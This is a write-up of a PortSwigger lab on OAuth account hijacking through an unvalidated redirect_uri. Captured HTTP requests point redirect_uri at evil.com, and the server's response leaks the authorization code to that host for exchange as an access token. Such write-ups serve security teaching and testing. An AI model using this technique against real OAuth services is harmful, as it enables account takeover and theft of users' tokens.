OAuth Account Hijacking via redirect_uri

Challenge can be found https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri

Preface

The issue in this case, is that the redirect_uri is not being validated (not even a loose validation), allowing an attacker to provide any arbitrary URL.

To test this, start the OAuth flow with a web proxy such as Burp Suite running in the background and observe the requests made.

Reproduction Steps

1. Observe the request which is responsible for initiating the OAuth flow with the Authorization Server:

GET /auth?client_id=tqyvawq8yk4qvtio8rs1q&redirect_uri=https://0a8f004c04e62044c0547bcc00ce00cc.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a140018044320c7c0d37b55029e00b8.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-site
Referer: https://0a8f004c04e62044c0547bcc00ce00cc.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

2. Note the value of the redirect_uri parameter.

3. Send the request to Repeater and modify the value of the redirect_uri parameter to point to a completely different site, e.g. https://evil.com

GET /auth?client_id=tqyvawq8yk4qvtio8rs1q&redirect_uri=https://evil.com&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a140018044320c7c0d37b55029e00b8.web-security-academy.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://0a8f004c04e62044c0547bcc00ce00cc.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close    

4. Notice the response from the Authorization Server is normal and doesn't prompt an error that the redirect_uri is invalid. However to verify that this is truly a vulnerability, continue with the OAuth flow.

5. After authenticating with the credentials and authorizing the scopes, notice that the Authorization Server bounces the user to https://evil.com and contains the authorization code in the code parameter:

HTTP/1.1 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Set-Cookie: _interaction_resume=; path=/auth/v7_87Skdeaw-pqnRcdsyi; expires=Thu, 01 Jan 1970 00:00:00 GMT; samesite=lax; secure; httponly
Set-Cookie: _session=NICjPCbe2GJq13FjGfVfs; path=/; expires=Fri, 07 Oct 2022 15:42:18 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=NICjPCbe2GJq13FjGfVfs; path=/; expires=Fri, 07 Oct 2022 15:42:18 GMT; secure; httponly
Location: https://evil.com?code=5uXA8Y9IlFjmVe01qAm6CvT1_7n1pPWfcdfr5TOO5Jw
Content-Type: text/html; charset=utf-8
Date: Fri, 23 Sep 2022 15:42:18 GMT
Connection: close
Content-Length: 161

Redirecting to <a href="https://evil.com?code=5uXA8Y9IlFjmVe01qAm6CvT1_7n1pPWfcdfr5TOO5Jw">https://evil.com?code=5uXA8Y9IlFjmVe01qAm6CvT1_7n1pPWfcdfr5TOO5Jw</a>.

6. The attacker will now need to quickly exchange the authorization code with the token endpoint in order to receive the access token. (In a realistic scenario, this would be done programatically).